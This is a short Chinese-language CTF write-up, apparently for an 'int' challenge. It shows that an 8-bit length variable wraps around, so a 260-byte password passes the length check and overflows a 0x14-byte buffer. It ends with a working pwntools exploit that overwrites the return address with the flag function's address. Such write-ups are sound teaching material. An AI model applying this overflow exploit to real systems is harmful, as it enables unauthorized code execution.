checksec (老规矩)
32位
canary/NX保护
ida操作
if (v4 == 1)
满足这个条件,login
跟进去
s 字段写入0x19u
看看是否存在溢出
0x28,看来不存在
buf 段 0x199u
check_passwd函数
v3 无符号整型 8字节
满足if条件即可 success
将s放到dest中
dest 的长度为0x14
让s的长度够大,把what_is_this()/有flag的地址覆盖到返回地址
3<v3<8 可以利用整数溢出
v3可以存储最大的长度是 2的8次方=256
对256求余/取模
这里s的长度是3~8 也就是 259~264
这里只要输入s的长度在259~264之间就可以溢出
这里取260
整型溢出的具体讲解参考以下博客
C语言的整型溢出问题_CHID的博客-CSDN博客_c溢出问题
what_is_this_addr= 0x804868B
工作就绪,接下来准备exp
from pwn import*
#p=remote("111.200.241.244",64347)
p=process('./int')
system_addr=0x804868B
payload=b'a'*(0x14+0x4)+p32(system_addr)
payload=payload.ljust(260,b'a')
p.sendlineafter("Your choice:","1")
p.sendlineafter("Please input your username:","1")
p.recvuntil("Please input your passwd:")
p.sendline(payload)
p.interactive()
成功打通